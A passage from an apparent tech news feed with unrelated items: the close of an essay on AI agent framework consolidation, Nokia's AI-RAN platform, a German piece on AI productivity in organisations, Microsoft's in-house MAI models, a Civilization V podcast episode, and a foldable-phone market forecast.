The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.

For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.

I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.

It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.

So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.

Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?

Those questions outlast every rewrite. That’s where I’ve learned to put my effort.

Frameworks come and go. Good architecture has to survive all of them.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

Why enterprises should care about Nokia’s AI-RAN platform
Fri, 24 Jul 2026 10:13:45 +0200

Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.

With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.

Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including providing a path to 6G. The partnership with Nvidia brings CUDA and AI into mobile environments.

For Network World readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.

What AI-RAN actually is

At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. Udayan Mukherjee, Nokia’s CTO for RAN and core, summarized the vision in the analyst briefing: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”

Several pillars stand out:

AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.

Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.

Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.

Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.

Why AI-RAN matters for operators

Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.

First, spectrum constraints. Aji Ed, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.

Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.

Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.

For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.

Nokia’s differentiation strategy

Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”

Several differentiators emerge:

Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.

Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.

Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.

Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.

Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.

How AI-RAN unlocks new revenue

Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.

Examples include:

Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”

Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.

Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.

Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.

Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:

Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.

Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.

Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.

For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”

Adoption path and reality check

Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.

There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.

For Network World readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.

How to Build an End-to-End OCR Pipeline with Baidu’s Unlimited-OCR for High-Resolution Images and Multi-Page PDF Parsing
Fri, 24 Jul 2026 07:36:15 +0200
In this tutorial, we build a complete workflow for running Baidu’s Unlimited-OCR model on document images and multi-page PDFs. From configuring the GPU environment to comparing high-detail tiled Gundam inference and faster Base modes, you'll learn how to process dense layouts, tables, and cross-page content in a reproducible, end-to-end pipeline.
The post How to Build an End-to-End OCR Pipeline with Baidu’s Unlimited-OCR for High-Resolution Images and Multi-Page PDF Parsing appeared first on MarkTechPost.

Hier erodiert die KI-Produktivität
Fri, 24 Jul 2026 06:08:03 +0200

Ob aus individuellen KI-Produktivitätsgewinnen auch eine performantere Organisation entsteht, hängt maßgeblich von der Gestaltung durch das Management ab.
Gorodenkoff | shutterstock.com

Die Debatte über (generative) künstliche Intelligenz (KI) fokussiert sich meist auf die Produktivität des Einzelnen – und die Zahlen hierzu sind bemerkenswert. So zeigte ein großangelegtes Feldexperiment der Harvard Business School in Zusammenarbeit mit der Boston Consulting Group, dass der Einsatz generativer KI bei Wissensaufgaben sowohl die Ergebnisqualität als auch die Bearbeitungsgeschwindigkeit signifikant verbessert. Dabei ist der Nivellierungseffekt besonders beachtlich:

Während erfahrene Fachkräfte ihre Leistung um rund 17 Prozent steigerten,

lagen die Verbesserungen bei den schwächeren Teilnehmern bei über 40 Prozent.

Diese individuellen Produktivitätsgewinne übertragen sich jedoch nicht automatisch in gleichem Maße auf die Organisationsebene. Unternehmen schaffen nicht bloß durch die isolierte Performance Einzelner Wert, sondern vor allem durch die Fähigkeit, Wissen zu bündeln, komplexe Entscheidungen zu treffen und gemeinsam Innovationen hervorzubringen. 

Wenn jedes Teammitglied zunehmend mit seinem eigenen KI-Assistenten interagiert, kann dies die Kernmechanismen erfolgreicher Zusammenarbeit beeinträchtigen. Die entscheidende Herausforderung besteht somit darin, den Zuwachs an individueller Produktivität in eine echte organisatorische Leistungssteigerung zu übersetzen.

3 Produktivitäts-Bruchstellen im KI-Zeitalter

Ob aus temporären Effizienzgewinnen nachhaltige Wettbewerbsvorteile entstehen, hängt deshalb maßgeblich davon ab, wie Führungskräfte die folgenden drei Bruchstellen gestalten, die aufeinander aufbauen. Diese repräsentieren jene organisatorischen Übergänge, an denen individuelle Produktivitätsgewinne durch KI in kollektive Leistungsnachteile umschlagen können – wenn sie nicht aktiv gestaltet werden.

1. Bruchstelle: Wissenssicherung

Der Weg zur Seniorität folgte lange einer stabilen Logik: Operative Erfahrung führte zu Expertise, diese wiederum zu Einfluss. Wer über mehr Wissen verfügte, übernahm komplexere Aufgaben und wurde zur zentralen Orientierungsperson im Team. Generative KI bricht diese Logik auf, da weniger erfahrene Mitarbeitende mithilfe von KI-Tools heute Analysen, Konzepte und Problemlösungen in hoher Qualität erstellen können. Ein Teil des traditionellen Wissensvorsprungs erfahrener Kräfte verliert dadurch seine Exklusivität.

Auf diese Weise gerät ein impliziter Erfolgsfaktor von Organisationen ins Wanken: der organische Wissenstransfer. Bislang floss Wissen primär über erfahrene Kräfte, was Mentoring und kollektives Lernen quasi „nebenbei“ sicherstellte. Fällt dieser Austausch weg, weil Aufgaben isoliert im Dialog mit der KI gelöst werden, besteht das Risiko eines doppelten Kompetenzverlusts:

Beschäftigte in Junior-Rollen können mithilfe von KI überzeugende Ergebnisse liefern, ohne den zugrundeliegenden Lösungsweg vollständig verstehen zu müssen. Der Lerneffekt wird dadurch reduziert und die Fähigkeit zur eigenständigen Problemlösung sowie zur kritischen Validierung der KI-Ergebnisse eingeschränkt. Die Folge ist eine wachsende, unkritische Abhängigkeit von der Technologie.

Erfahrene Fachkräfte laufen Gefahr, zur rein reaktiven Korrekturinstanz von KI-Ergebnissen zu werden. Ihre Erfahrung fließt dann nicht mehr aktiv in die Gestaltung ein, sondern beschränkt sich zunehmend auf die nachträgliche Qualitätskontrolle. Mögliche Folgen sind Motivationsverlust, mentaler Rückzug der Leistungsträger und der schleichende Verlust des in der Organisation vorhandenen Erfahrungswissens.

Um diesen doppelten Kompetenzverlust zu verhindern, müssen Führungskräfte den Rollenwandel der Seniorität aktiv gestalten. Künftig sollte sich diese nicht mehr primär über exklusives Fachwissen definieren, sondern über die Fähigkeit, die richtigen Fragen zu stellen, Zusammenhänge einzuordnen und Teams bei der kritischen Bewertung von KI-Ergebnissen anzuleiten. Diese Begleitung kann nicht erst im Rahmen der abschließenden Qualitätskontrolle erfolgen, sondern muss bereits während der Arbeit mit KI ansetzen. 

Ziel ist es, Wissen, Erfahrungswerte und Kontext kontinuierlich zu vermitteln, die Urteilskraft der Junioren gezielt zu entwickeln und sie schrittweise zu einer eigenständigen Validierung und reflektierten Nutzung von KI-Ergebnissen zu befähigen.Gelingt dieser Rollenwandel nicht, können Teams zwar kurzfristig ihre individuelle Produktivität steigern, verlieren jedoch zunehmend das gemeinsame Verständnis für fachliche Zusammenhänge und den organisatorischen Kontext. 

Die durch KI erzielten Produktivitätsgewinne können dann durch Fehlentscheidungen, steigenden Korrekturaufwand und einen schleichenden Qualitätsverlust auf Teamebene wieder aufgezehrt werden. Ohne die systematische Sicherung von Erfahrungswissen zu agieren, heißt, teure Fehler zu produzieren – nur deutlich schneller.

2. Bruchstelle: Qualitätssicherung

Die Herausforderung endet jedoch nicht bei der Wissenssicherung. Sie betrifft im nächsten Schritt auch die Art und Weise, wie Teams die Qualität ihrer Entscheidungen absichern, wenn ein wachsender Teil der Analyse-, Bewertungs- und Wissensarbeit durch KI unterstützt wird. Je mehr Vorarbeit KI übernimmt, desto stärker hängt die Qualität organisatorischer Entscheidungen davon ab, die generierten Ergebnisse kritisch zu überprüfen und einzuordnen.

Eine Besonderheit generativer KI besteht darin, dass ihre Leistungsfähigkeit keiner intuitiven Logik folgt. Die eingangs zitierte Studie beschreibt dieses Phänomen als „Jagged Technological Frontier“: KI-Systeme können bei bestimmten Aufgaben eine Performance auf Expertenniveau erreichen, während sie bei scheinbar ähnlichen Fragestellungen überraschend große Schwächen aufweisen. Die Grenzen dieser Leistungsfähigkeit sind jedoch nicht für jeden Nutzer ohne weiteres erkennbar.

Genau daraus entstehen neue Herausforderungen für Führungskräfte: Mit der Integration von KI in den Arbeitsalltag steigt das Risiko des sogenannten “Automation Bias” (PDF), also der Tendenz, algorithmischen Empfehlungen unkritisch zu vertrauen. Die Gefahr liegt dabei selten in offensichtlichen Fehlern, sondern in plausiblen (aber falschen) Antworten, die überzeugend formuliert sind und deshalb ungeprüft übernommen werden.

Zudem greift ein Beschleunigungseffekt: KI verkürzt den Weg von der Fragestellung bis zum Ergebnis erheblich und damit auch jene Diskussionen, mit denen Teams bislang die Qualität ihrer Entscheidungen abgesichert haben. Wo früher Analysen debattiert und Annahmen abgewogen wurden, liegt heute in Sekunden ein Resultat vor. Das eigentliche Risiko liegt dabei darin, dass Ergebnisse schneller entstehen als sie kritisch überprüft werden können. So ist es möglich, dass Produktivitätsgewinne mit einem Verlust an Ergebnisqualität einhergehen.

Führungskräfte sollten daher Strukturen schaffen, die den Einsatz von KI transparent gestalten und Ergebnisse offen zur Diskussion stellen. KI-generierte Inhalte müssen denselben kritischen Maßstäben unterworfen werden wie die Arbeit eines erfahrenen Teammitglieds. Dazu benötigen Teams Validierungskompetenz, eine Verantwortungskultur und etablierte Prüfprozesse. Die entscheidende Frage sollte daher nicht sein, ob ein Ergebnis vom Menschen oder der Maschine stammt. Sondern, wer dieses auf fachliche Korrektheit überprüft und die Verantwortung für die darauf basierende Entscheidung übernimmt. 

KI steigert zwar die Geschwindigkeit – das wird jedoch erst dann zum echten Wettbewerbsvorteil, wenn es mit Urteilskraft und gelebter Accountability einhergeht.

3. Bruchstelle: Innovationssicherung

Wie zuvor beschrieben, kann der Einsatz generativer KI gemeinsame Diskussionen verkürzen, was wiederum die Innovationskraft des Unternehmens belasten kann. KI liefert dabei nicht nur einen ersten Lösungsvorschlag, sondern erhöht zugleich die Wahrscheinlichkeit, dass sich Teams früh auf eine gemeinsame Richtung festlegen. Echte Innovationen entstehen jedoch selten durch schnelle Einigkeit: Sie entstehen durch produktive Reibung, tiefgehende Debatten und dadurch, etablierte Denkmuster zu hinterfragen.

Ein wesentlicher psychologischer Mechanismus dieser frühen Konvergenz ist der sogenannte Ankereffekt: Da KI in Sekundenschnelle plausible Ergebnisse liefert, wirkt dieser erste Entwurf als kognitiver Anker. Das menschliche Gehirn orientiert sich somit unbewusst an diesem Startpunkt, was den Suchraum für alternative Lösungen vorzeitig verengt und so die Innovationsfähigkeit schwächen kann.

Führungskräfte stehen deshalb vor der zusätzlichen Aufgabe, produktiven Widerspruch bewusst zu organisieren. Kritische Rückfragen und konträre Sichtweisen sind das notwendige Gegengewicht zur KI-generierten Konvergenz. Und: Organisationen verlieren selten ihre Innovationskraft, weil ihnen Antworten fehlen. Vielmehr, weil sie aufhören, Alternativen ernsthaft zu diskutieren. Eine höhere Geschwindigkeit im Lösungsprozess führt daher nicht automatisch zu höherer Innovationsfähigkeit. 

Entscheidend ist, dass Organisationen weiterhin Räume schaffen, in denen unterschiedliche Perspektiven aufeinandertreffen, bestehende Annahmen hinterfragt werden und neue Ideen entstehen können. Mit anderen Worten: KI erzeugt Konvergenz, Innovation braucht Divergenz.

KI schafft eine neue Realität

Diese drei Bruchstellen verdeutlichen, dass generative KI nicht nur Arbeitsprozesse, sondern auch die Grundlagen organisationaler Leistungsfähigkeit grundlegend verändern kann. Wissen entsteht anders, Entscheidungen werden anders getroffen und Innovation entwickelt sich unter veränderten Voraussetzungen.

Je stärker KI in den Arbeitsalltag integriert wird, desto entscheidender wird es, die genannten Bruchstellen bewusst zu gestalten. Der nachhaltige Nutzen von KI entsteht nicht allein durch den Einsatz der Technologie, sondern durch die Fähigkeit einer Organisation, ihre Strukturen, Lernprozesse und Entscheidungsmechanismen an diese neue Realität anzupassen. (fm)

Dieser Beitrag wurde im Rahmen des deutschsprachigen Experten-Netzwerks von Foundry veröffentlicht. Lust mitzumachen? Jetzt bewerben!

Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI
Fri, 24 Jul 2026 02:50:17 +0200
Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.
The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.
"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.
How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve
The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.
The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."
MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.
Microsoft's production metrics show in-house models cutting GPU costs by up to 89%
The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 
Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.
On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.
Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.
Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel
In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.
The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.
Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.
That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.
Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship
Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."
Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?
Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 
“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”
Developers cheer cheaper task-specific models while skeptics question Microsoft's track record
The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."
Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."
The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.
But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.
Why Microsoft is turning its internal AI playbook into an Azure product
The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.
The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."
Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.

HPR4690: Playing Civilization V, Part 14
Fri, 24 Jul 2026 02:04:41 +0200
This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.

Playing Civilization V, Part 14

Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.

At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.

I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.

This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.

Links

https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/

Provide feedback on this episode.

Apple Could Become the No. 2 Foldable Phone Brand in 2026
Fri, 24 Jul 2026 01:04:19 +0200
Apple could quickly become one of the largest players in the foldable smartphone market, with a new forecast suggesting the company will capture 25% of global shipments in 2026. The projection places Apple in second place during its first year in the category.

Counterpoint Research expects global foldable smartphone shipments to grow 21% year over year in 2026, helped by Apple’s expected entry into the premium book-style foldable segment. Samsung is forecast to remain the market leader, although its share could fall from 40% in 2025 to 32% in 2026.

Huawei is expected to rank third with a 24% share, followed by Motorola at 8% and HONOR at 3%. Other smartphone brands are projected to account for the remaining 8% of global shipments.

